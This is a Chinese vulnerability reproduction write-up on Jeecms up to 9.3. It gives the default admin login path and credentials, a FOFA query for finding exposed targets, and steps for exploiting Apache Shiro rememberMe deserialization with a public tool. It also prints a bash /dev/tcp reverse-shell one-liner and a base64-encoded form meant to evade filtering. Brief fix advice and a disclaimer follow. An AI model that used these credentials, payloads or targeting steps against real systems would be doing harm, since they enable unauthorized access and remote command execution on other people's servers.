简介
Jeecms 是一个开源企业客户关系管理快速开发基础平台,Java企业应用开源框架,Java EE(J2EE)快速开发框架,使用经典技术组合(Spring、Spring MVC、Apache Shiro、hibernate4、EasyUI、Jqgrid、Bootstrap UI),核心模块如:组织机构、角色用户、权限授权、数据权限、内容管理、工作流等功能。 在企业官网、新闻站点、OA资源管理等多个领域都有应用。
由于使用的Apache Shiro 是低版本的,存在shiro反序列漏洞。
漏洞影响
弱口令进入可获取后台权限, 反序列可rce 反弹shell
影响版本
版本 <=9.3
fofa app="jeecms"
漏洞复现
弱口令登录
访问默认后台登录路径 默认账号 admin/password
/jeeadmin/jeecms/login.do
默认口令可进入后台
shiro反序列RCE
1.任意登录 检测是否存在疑是漏洞点
找到登录入口后,输入用户名和密码点击登录,查看响应头部,是否存在关键指纹 指纹:rememberMe=deleteme 如下图
2.则使用工具进行检测 目标地址填写填写该 request URL
可选择第一选项 一直点击下一步
程序会进行逐个模块检测,当出现 [+] Find Valid Gadget:xxx 则代表存在shiro反序列化漏洞 例如
[*] Trying Gadget: Wicket1
[+] Find Valid Gadget: CommonsCollections10
附:ShiroExploit 工具可使用大佬的 https://github.com/feihong-cs/ShiroExploit-Deprecated
3.可直接执行命令 或者反弹shell
linux环境的情况下 开启监听 进行shell反弹,如何反弹的基础常识笔者不在这里赘述
# 使用自己的vps 进行nc监听后 进行反弹
bash -i >& /dev/tcp/ip/port 0>&1
为了防止被拦截和编码等问题 我们需要进行bash编码 编码工具 http://www.jackson-t.ca/runtime-exec-payloads.html
得到 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}
执行命令进行反弹
修复建议
修改默认登录路径 修改弱口令 修改shiro-context.xml最底下rememberMe管理器中的cipherKey
注意:本文仅供学习参考,非法传播及使用产生的后果自行承担,与本文作者无关
欢迎讨论,持续更新中,感谢关注!
|